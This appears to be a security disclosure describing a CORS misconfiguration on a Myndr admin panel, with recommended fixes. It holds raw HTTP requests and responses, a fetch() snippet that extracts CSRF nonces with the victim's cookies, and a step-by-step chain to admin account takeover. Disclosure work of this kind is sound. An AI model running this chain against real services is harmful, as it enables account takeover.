Myndr CORS Misconfiguration

How it was found

Summary admin.myndr.net reflects any *.myndr.net subdomain origin with Access-Control-Allow-Credentials: true, allowing any website hosted on a Myndr subdomain to read authenticated admin panel responses including CSRF nonces, session data, and admin functionality. Combined with CSRF, this enables full admin account takeover. Vulnerability Details Vulnerability Type: CORS Misconfiguration / Broken Access Control CVSS 3.1 Score: 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Affected Endpoints:

• https://admin.myndr.net/
• https://admin.myndr.net/auth/login-admin
• https://admin.myndr.net/auth/login-admin-new-password
• https://admin.myndr.net/cp/postcode
• https://dashboard.myndr.net/ Steps to Reproduce Step 1: Verify CORS reflects arbitrary .myndr.net origins with credentials* GET / HTTP/1.1 Host: admin.myndr.net Origin: https://evil.myndr.net Response: HTTP/2 302 access-control-allow-origin: https://evil.myndr.net access-control-allow-methods: GET, POST, OPTIONS, DELETE, PUT access-control-allow-credentials: true access-control-allow-headers: User-Agent,Keep-Alive,Content-Type vary: Origin location: /auth/login-admin Step 2: Extract CSRF nonce via CORS fetch("https://admin.myndr.net/auth/login-admin", {credentials: "include"}) .then(r => r.text()) .then(html => { const nonce = html.match(/name="nonce" value="([^"]+)"/)[1]; // Attacker now has the CSRF nonce }); Step 3: HTTP downgrade also works GET / HTTP/1.1 Host: admin.myndr.net Origin: http://admin.myndr.net Response: access-control-allow-origin: http://admin.myndr.net access-control-allow-credentials: true Step 4: Exploit chain

1. Host malicious page on any *.myndr.net subdomain
2. Page reads CSRF nonces from admin.myndr.net with victim's cookies
3. Perform CSRF to change admin password
4. Full admin account takeover

Recommended Fix

1. Remove wildcard CORS reflection for *.myndr.net
2. Only allow specific trusted origins
3. Never reflect arbitrary origins with credentials
4. Remove HTTP origin reflection entirely

Impact

Any website on a *.myndr.net subdomain can read authenticated admin responses. Combined with CSRF → full admin takeover. 20+ active subdomains could serve as attack vectors.